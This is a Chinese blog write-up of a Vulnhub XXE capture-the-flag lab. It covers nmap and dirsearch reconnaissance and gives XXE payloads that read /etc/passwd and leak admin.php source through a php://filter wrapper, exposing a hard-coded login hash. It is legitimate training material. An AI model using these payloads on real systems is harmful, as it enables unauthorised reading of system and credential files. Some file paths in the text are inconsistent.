XXE-Vulnhub渗透测试

前言

Vulhub-XXE渗透练习

目标:获取靶机Flag

运行环境:kali2019.4&&XXE靶机&&VMware15.X

考点:

​ robots.txt的使用

​ XXE文件读取漏洞

​ 目录爆破

渗透测试

靶机打开后长这样….

image-20200102110918810

然后我们要做的第一件事就是去扫靶机的IP地址,看看靶机的地址是多少。

下图中,我们使用netdiscover直接找到这个靶机的IP地址为192.168.139.130

image-20200102111233017

然后我们用nmap去扫描该靶机的IP,看看它有什么端口是开着的。

命令如下:

1
nmap -sV -v -p 1-65535 192.168.139.130

image-20200102170442262

如上图所示,靶机的80端口和5355端口是开放的。然后我们访问80端口。

image-20200102173102954

这是一个ubuntu的页面,没有值得利用的东西,我们扫描该站点目录。

使用dirsearch扫描该站点,发现robots.txt

image-20200102194359097

访问robots.txt

image-20200102194454369

访问admin.php无果,所以我们访问/xxe/

image-20200102194552349

这个靶机的考察点在于xxe,所以我们就直接使用xxe的payload试试能不能弹出些东西来

payload

1
2
3
4
5
6
7
8
<?xml version="1.8" encoding="UTF-8"?>         
<!DOCTYPE r [
<!ELEMENT r ANY>
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>


<root><name>&admin;</name><password>123</password></root>

image-20200102195855558

用这个思路去获得刚才获取不到的admin.php,payload如下:

1
2
3
4
5
6
7
<?xml version="1.8" encoding="UTF-8"?>         
<!DOCTYPE r [
<!ELEMENT r ANY>
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>

<root><name>&admin;</name><password>123</password></root>

image-20200102200431782

base64解码后,获得php源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$msg = '';
if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
if ($_POST['username'] == 'administhebest' && md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
$_SESSION['valid'] = true;
$_SESSION['timeout'] = time();
$_SESSION['username'] = 'administhebest';
echo "You have entered valid use name and password <br />";
$flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
echo $flag;
} else {
$msg = 'Maybe Later';
}
}

进行MD5解密

image-20200102201331103

但是这个并不管用….

image-20200102202244390

扫描/xxe的目录

image-20200102201331103

访问这个admin.php,然后填入用户名和密码,跳出一个红色的flag,访问试试,当时访问是500.所以用一样的xxe套路访问flagtimeout.php

image-20200102203011458

解码获得:

1
2
3
4
<?php
$flag = "<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->";
echo $flag;
?>

base32解码:

image-20200102203352059

访问/ect/.flag.php

image-20200102203645462

解码的结果如下:

image-20200102204232861

这是一个webshell

image-20200102204750004

获得flag

image-20200102210328465

Author: 我是小吴啦
Link: http://yoursite.com/2020/01/02/XXE-Vulhub%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.